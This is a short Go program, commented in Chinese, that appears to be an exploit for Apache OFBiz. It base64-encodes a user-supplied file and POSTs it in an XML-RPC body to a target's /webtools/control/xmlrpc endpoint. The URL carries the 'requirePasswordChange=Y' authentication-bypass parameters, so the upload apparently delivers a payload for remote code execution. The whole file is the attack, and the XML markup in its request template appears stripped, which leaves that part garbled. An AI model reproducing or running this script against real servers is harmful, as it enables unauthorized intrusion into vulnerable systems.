package main import ( "bytes" "encoding/base64" "fmt" "io/ioutil" "net/http" "os" ) func main() { // 检查命令行参数数量 if len(os.Args) != 3 { fmt.Println("Usage: go run script.go ") os.Exit(1) } // 获取命令行参数 targetIP := os.Args[1] filePath := os.Args[2] // 读取文件内容并进行 base64 编码 fileContent, err := ioutil.ReadFile(filePath) if err != nil { fmt.Println("Error reading file:", err) os.Exit(1) } base64Data := base64.StdEncoding.EncodeToString(fileContent) // 构建 XML-RPC 请求的 XML 内容 xmlContent := fmt.Sprintf(` ProjectDiscovery test %s `, base64Data) // 构建请求 URL url := fmt.Sprintf("http://%s:8443/webtools/control/xmlrpc?USERNAME&PASSWORD=mdtest&requirePasswordChange=Y", targetIP) // 发送 HTTP POST 请求 resp, err := http.Post(url, "application/x-www-form-urlencoded", bytes.NewBufferString(xmlContent)) if err != nil { fmt.Println("Error sending HTTP request:", err) os.Exit(1) } defer resp.Body.Close() // 读取响应内容 respBody, err := ioutil.ReadAll(resp.Body) if err != nil { fmt.Println("Error reading response body:", err) os.Exit(1) } // 打印响应内容 fmt.Println("Response:") fmt.Println(string(respBody)) }